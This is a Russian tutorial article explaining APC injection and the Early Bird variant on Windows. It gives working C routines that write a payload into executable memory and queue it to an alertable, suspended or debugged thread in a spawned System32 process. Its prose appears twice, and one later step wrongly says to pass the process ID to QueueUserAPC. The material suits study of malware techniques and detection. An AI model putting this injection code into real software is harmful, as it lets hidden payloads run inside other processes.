Изучаем технику APC Injection
Предлагаю в этой статье рассмотреть один способ выполнения полезной нагрузки без создания нового потока. Этот метод известен как APC-инъекция.
Что такое APC? Асинхронные вызовы процедур (APC) — это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно, продолжая выполнять другие задачи. APC реализованы как процедуры в режиме ядра, выполняемые в контексте определенного потока.
Вредоносное ПО может использовать APC для постановки в очередь полезной нагрузки и последующего ее выполнения по расписанию.
Состояние готовности
Не все потоки могут выполнить поставленную в очередь функцию APC, это могут сделать только потоки в состоянии готовности. Такой поток находится в режиме ожидания. Когда поток переходит в состояние готовности, он помещается в очередь готовых потоков, что позволяет ему выполнять функции APC из очереди.
Что такое APC-инъекция?
Для постановки функции APC в очередь потока адрес этой функции должен быть передан в QueueUserAPC WinAPI.
Согласно документации Microsoft:
Приложение помещает APC в очередь потока, вызывая функцию QueueUserAPC. Вызывающий поток указывает адрес функции APC в вызове QueueUserAPC.
Адрес внедренной полезной нагрузки будет передан в QueueUserAPC для ее выполнения. Перед этим поток в локальном процессе должен быть переведен в состояние готовности.
QueueUserAPC
QueueUserAPC представлена ниже и принимает 3 аргумента:
pfnAPC - Адрес вызываемой функции APC.
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного потока.
dwData - Если функция APC требует параметры, они могут быть переданы здесь. В коде этой статьи это значение будет NULL.
	
	
	
		
Перевод потока в состояние готовности
Поток, который будет выполнять поставленную в очередь функцию, должен находиться в состоянии готовности. Это можно сделать, создав поток и используя один из следующих WinAPI:
	
	
	
		
Эти функции используются для синхронизации потоков и улучшения производительности и отклика приложений, однако в этом случае достаточно передать дескриптор фиктивного события.
Передача корректных параметров этим функциям не требуется, так как простое использование одной из функций достаточно для перевода потока в состояние готовности.
Для создания фиктивного события будет использоваться WinAPI CreateEvent.
Новый объект события — это объект синхронизации, который позволяет потокам общаться между собой, сигнализируя и ожидая событий. Поскольку результат CreateEvent не имеет значения, любое действующее событие может быть передано ранее показанными WinAPI.
Использование функций
Ниже приведены примеры использования функций для перевода текущего потока в состояние готовности.
Используя Sleep:
	
	
	
		
Используя SleepEx:
	
	
	
		
Используя WaitForSingleObject:
	
	
	
		
Используя MsgWaitForMultipleObjects:
	
	
	
		
Используя SignalObjectAndWait:
	
	
	
		
Потоки созданные в приостановленном состоянии, также могут выполниться.
Если целевой поток создается в приостановленном состоянии. Если этот метод используется для выполнения полезной нагрузки, сначала следует вызвать QueueUserAPC, а затем возобновить приостановленный поток. При этом поток должен быть создан в приостановленном состоянии, приостановка существующего потока не сработает.
Код, представленный в этой статье, демонстрирует APC-инъекцию через поток в состоянии готовности и приостановленный поток.
Логика реализации APC-инъекции
В качестве итога, логика реализации будет следующей:
Сначала создайте поток, который выполняет одну из вышеупомянутых функций, чтобы перевести его в состояние готовности. Внедрите полезную нагрузку в память. Дескриптор потока и базовый адрес полезной нагрузки будут переданы в качестве входных параметров в QueueUserAPC.
Функция APC-инъекции RunViaApcInjection — это функция, которая выполняет APC-инъекцию и требует 3 аргумента:
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного.
pPayload - Указатель на базовый адрес полезной нагрузки.
sPayloadSize - Размер полезной нагрузки.
	
	
	
		
Демо - APC-инъекция с использованием потока в состоянии готовности
		
	
		
	
Демо - APC-инъекция с использованием потока в приостановленном состоянии
		
	
		
	
APC Injection в удаленном процессе
Теперь предлагаю использовать тот же API для выполнения полезной нагрузки в удаленном процессе. Хотя подход немного отличается, используемый метод остается тем же.
К этому моменту должно быть хорошо понятно, что инъекция APC требует либо приостановленного потока, либо потока в состоянии готовности для успешного выполнения полезной нагрузки.
Однако трудно найти потоки в этих состояниях, особенно те, которые работают с обычными правами пользователя.
Решение состоит в создании приостановленного процесса с использованием WinAPI CreateProcess и использовании дескриптора его приостановленного потока. Приостановленный поток соответствует критериям использования в APC инъекции. Этот метод известен как ранняя инъекция APC (Early Bird APC Injection).
Логика реализации Early Bird. Логика реализации этой техники будет следующей:
Будет использоваться CreateProcess, но флаг создания процесса будет изменен с CREATE_SUSPENDED на DEBUG_PROCESS. Флаг DEBUG_PROCESS создает новый процесс в качестве отлаживаемого процесса и делает локальный процесс его отладчиком. Когда процесс создается как отлаживаемый процесс, точка останова устанавливается в его точке входа. Это приостанавливает процесс и ожидает, когда отладчик (то есть вредоносное ПО) возобновит выполнение.
Когда это происходит, полезная нагрузка внедряется в целевой процесс для выполнения с помощью WinAPI QueueUserAPC. После внедрения полезной нагрузки и постановки в очередь отлаживаемого потока для выполнения полезной нагрузки, локальный процесс может быть отсоединен от целевого процесса с использованием DebugActiveProcessStop WinAPI, что прекращает отладку удаленного процесса.
DebugActiveProcessStop требует только одного параметра, который представляет собой PID отлаживаемого процесса, который можно получить из структуры PROCESS_INFORMATION, заполненной CreateProcess.
Обновленная логика будет следующей:
CreateSuspendedProcess2 - это функция, которая создает процесс в приостановленном состоянии:
	
		
Далее необходимо:
Демо
На изображении ниже показан только что созданный целевой процесс в состоянии отладки. Отлаживаемый процесс выделен пурпурным цветом в Process Hacker.
		
	
Далее полезная нагрузка записывается в целевой процесс.
		
	
Наконец, полезная нагрузка выполняется.
		
	
					
										
					
						Что такое APC? Асинхронные вызовы процедур (APC) — это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно, продолжая выполнять другие задачи. APC реализованы как процедуры в режиме ядра, выполняемые в контексте определенного потока.
Вредоносное ПО может использовать APC для постановки в очередь полезной нагрузки и последующего ее выполнения по расписанию.
Состояние готовности
Не все потоки могут выполнить поставленную в очередь функцию APC, это могут сделать только потоки в состоянии готовности. Такой поток находится в режиме ожидания. Когда поток переходит в состояние готовности, он помещается в очередь готовых потоков, что позволяет ему выполнять функции APC из очереди.
Что такое APC-инъекция?
Для постановки функции APC в очередь потока адрес этой функции должен быть передан в QueueUserAPC WinAPI.
Согласно документации Microsoft:
Приложение помещает APC в очередь потока, вызывая функцию QueueUserAPC. Вызывающий поток указывает адрес функции APC в вызове QueueUserAPC.
Адрес внедренной полезной нагрузки будет передан в QueueUserAPC для ее выполнения. Перед этим поток в локальном процессе должен быть переведен в состояние готовности.
QueueUserAPC
QueueUserAPC представлена ниже и принимает 3 аргумента:
pfnAPC - Адрес вызываемой функции APC.
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного потока.
dwData - Если функция APC требует параметры, они могут быть переданы здесь. В коде этой статьи это значение будет NULL.
		C:
	
	DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
	Перевод потока в состояние готовности
Поток, который будет выполнять поставленную в очередь функцию, должен находиться в состоянии готовности. Это можно сделать, создав поток и используя один из следующих WinAPI:
		C:
	
	Sleep
SleepEx
MsgWaitForMultipleObjects
MsgWaitForMultipleObjectsEx
WaitForSingleObject
WaitForSingleObjectEx
WaitForMultipleObjects
WaitForMultipleObjectsEx
SignalObjectAndWait
	Эти функции используются для синхронизации потоков и улучшения производительности и отклика приложений, однако в этом случае достаточно передать дескриптор фиктивного события.
Передача корректных параметров этим функциям не требуется, так как простое использование одной из функций достаточно для перевода потока в состояние готовности.
Для создания фиктивного события будет использоваться WinAPI CreateEvent.
Новый объект события — это объект синхронизации, который позволяет потокам общаться между собой, сигнализируя и ожидая событий. Поскольку результат CreateEvent не имеет значения, любое действующее событие может быть передано ранее показанными WinAPI.
Использование функций
Ниже приведены примеры использования функций для перевода текущего потока в состояние готовности.
Используя Sleep:
		C:
	
	VOID AlertableFunction1() {
Sleep(-1);
}
	Используя SleepEx:
		C:
	
	VOID AlertableFunction2() {
SleepEx(INFINITE, TRUE);
}
	Используя WaitForSingleObject:
		C:
	
	VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
 WaitForSingleObject(hEvent, INFINITE);
 CloseHandle(hEvent);
}
}
	Используя MsgWaitForMultipleObjects:
		C:
	
	VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
 CloseHandle(hEvent);
}
}
	Используя SignalObjectAndWait:
		C:
	
	VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
 SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
 CloseHandle(hEvent1);
 CloseHandle(hEvent2);
}
}
	Потоки созданные в приостановленном состоянии, также могут выполниться.
Если целевой поток создается в приостановленном состоянии. Если этот метод используется для выполнения полезной нагрузки, сначала следует вызвать QueueUserAPC, а затем возобновить приостановленный поток. При этом поток должен быть создан в приостановленном состоянии, приостановка существующего потока не сработает.
Код, представленный в этой статье, демонстрирует APC-инъекцию через поток в состоянии готовности и приостановленный поток.
Логика реализации APC-инъекции
В качестве итога, логика реализации будет следующей:
Сначала создайте поток, который выполняет одну из вышеупомянутых функций, чтобы перевести его в состояние готовности. Внедрите полезную нагрузку в память. Дескриптор потока и базовый адрес полезной нагрузки будут переданы в качестве входных параметров в QueueUserAPC.
Функция APC-инъекции RunViaApcInjection — это функция, которая выполняет APC-инъекцию и требует 3 аргумента:
hThread - Дескриптор потока, находящегося в состоянии готовности или приостановленного.
pPayload - Указатель на базовый адрес полезной нагрузки.
sPayloadSize - Размер полезной нагрузки.
		C:
	
	BOOL RunViaApcInjection(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = NULL;
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
    printf("\t[!] VirtualAlloc не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("\t[!] VirtualProtect не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}
// Если hThread находится в состоянии готовности, QueueUserAPC непосредственно выполнит полезную нагрузку
// Если hThread находится в приостановленном состоянии, полезная нагрузка не будет выполнена, пока поток не будет возобновлен после этого
if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
    printf("\t[!] QueueUserAPC не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}
return TRUE;
}
	Демо - APC-инъекция с использованием потока в состоянии готовности
Демо - APC-инъекция с использованием потока в приостановленном состоянии
APC Injection в удаленном процессе
Теперь предлагаю использовать тот же API для выполнения полезной нагрузки в удаленном процессе. Хотя подход немного отличается, используемый метод остается тем же.
К этому моменту должно быть хорошо понятно, что инъекция APC требует либо приостановленного потока, либо потока в состоянии готовности для успешного выполнения полезной нагрузки.
Однако трудно найти потоки в этих состояниях, особенно те, которые работают с обычными правами пользователя.
Решение состоит в создании приостановленного процесса с использованием WinAPI CreateProcess и использовании дескриптора его приостановленного потока. Приостановленный поток соответствует критериям использования в APC инъекции. Этот метод известен как ранняя инъекция APC (Early Bird APC Injection).
Логика реализации Early Bird. Логика реализации этой техники будет следующей:
- Создать приостановленный процесс, используя флаг CREATE_SUSPENDED.
 - Записать полезную нагрузку в адресное пространство нового целевого процесса.
 - Получить дескриптор приостановленного потока из CreateProcess вместе с базовым адресом полезной нагрузки и передать их в QueueUserAPC.
 - Возобновить поток с использованием WinAPI ResumeThread для выполнения полезной нагрузки.
 
Будет использоваться CreateProcess, но флаг создания процесса будет изменен с CREATE_SUSPENDED на DEBUG_PROCESS. Флаг DEBUG_PROCESS создает новый процесс в качестве отлаживаемого процесса и делает локальный процесс его отладчиком. Когда процесс создается как отлаживаемый процесс, точка останова устанавливается в его точке входа. Это приостанавливает процесс и ожидает, когда отладчик (то есть вредоносное ПО) возобновит выполнение.
Когда это происходит, полезная нагрузка внедряется в целевой процесс для выполнения с помощью WinAPI QueueUserAPC. После внедрения полезной нагрузки и постановки в очередь отлаживаемого потока для выполнения полезной нагрузки, локальный процесс может быть отсоединен от целевого процесса с использованием DebugActiveProcessStop WinAPI, что прекращает отладку удаленного процесса.
DebugActiveProcessStop требует только одного параметра, который представляет собой PID отлаживаемого процесса, который можно получить из структуры PROCESS_INFORMATION, заполненной CreateProcess.
Обновленная логика будет следующей:
- Создать отлаживаемый процесс, установив флаг DEBUG_PROCESS.
 - Записать полезную нагрузку в адресное пространство нового целевого процесса.
 - Получить дескриптор отлаживаемого потока из CreateProcess вместе с базовым адресом полезной нагрузки и передать их в QueueUserAPC.
 - Прекратить отладку удаленного процесса с использованием DebugActiveProcessStop, который возобновляет его потоки и выполняет полезную нагрузку.
 
CreateSuspendedProcess2 - это функция, которая создает процесс в приостановленном состоянии:
- lpProcessName - Имя процесса для создания.
 - dwProcessId - Указатель на DWORD, который получит PID только что созданного процесса.
 - hProcess - Указатель на HANDLE, который получит дескриптор только что созданного процесса.
 - hThread - Указатель на HANDLE, который получит дескриптор только что созданного потока процесса.
 
		C:
	
	BOOL CreateSuspendedProcess2(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) {
CHAR lpPath   [MAX_PATH * 2];
CHAR WnDr     [MAX_PATH];
STARTUPINFO            Si    = { 0 };
PROCESS_INFORMATION    Pi    = { 0 };
// Очистка структур, установка значений элементов в 0
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Установка размера структуры
Si.cb = sizeof(STARTUPINFO);
// Получение пути переменной окружения %WINDIR% (который обычно равен 'C:\Windows')
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
    printf("[!] GetEnvironmentVariableA не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}
// Создание пути к целевому процессу
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Запуск : \"%s\" ... ", lpPath);
// Создание процесса
if (!CreateProcessA(
    NULL,
    lpPath,
    NULL,
    NULL,
    FALSE,
    DEBUG_PROCESS,        // Вместо CREATE_SUSPENDED
    NULL,
    NULL,
    &Si,
    &Pi)) {
    printf("[!] CreateProcessA не удалось выполнить с ошибкой : %d \n", GetLastError());
    return FALSE;
}
printf("[+] ГОТОВО \n");
// Заполнение выходного параметра результатами выполнения CreateProcessA
*dwProcessId        = Pi.dwProcessId;
*hProcess           = Pi.hProcess;
*hThread            = Pi.hThread;
// Проверка наличия всего необходимого
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
    return TRUE;
return FALSE;
}
	Далее необходимо:
- Записать полезную нагрузку в адресное пространство нового целевого процесса.
 - Передать dwProcessId и адрес полезной нагрузки в QueueUserAPC.
 - Прекратить отладку удаленного процесса вызвав DebugActiveProcessStop, который возобновляет его потоки и выполняет полезную нагрузку.
 
Демо
На изображении ниже показан только что созданный целевой процесс в состоянии отладки. Отлаживаемый процесс выделен пурпурным цветом в Process Hacker.
Далее полезная нагрузка записывается в целевой процесс.
Наконец, полезная нагрузка выполняется.
	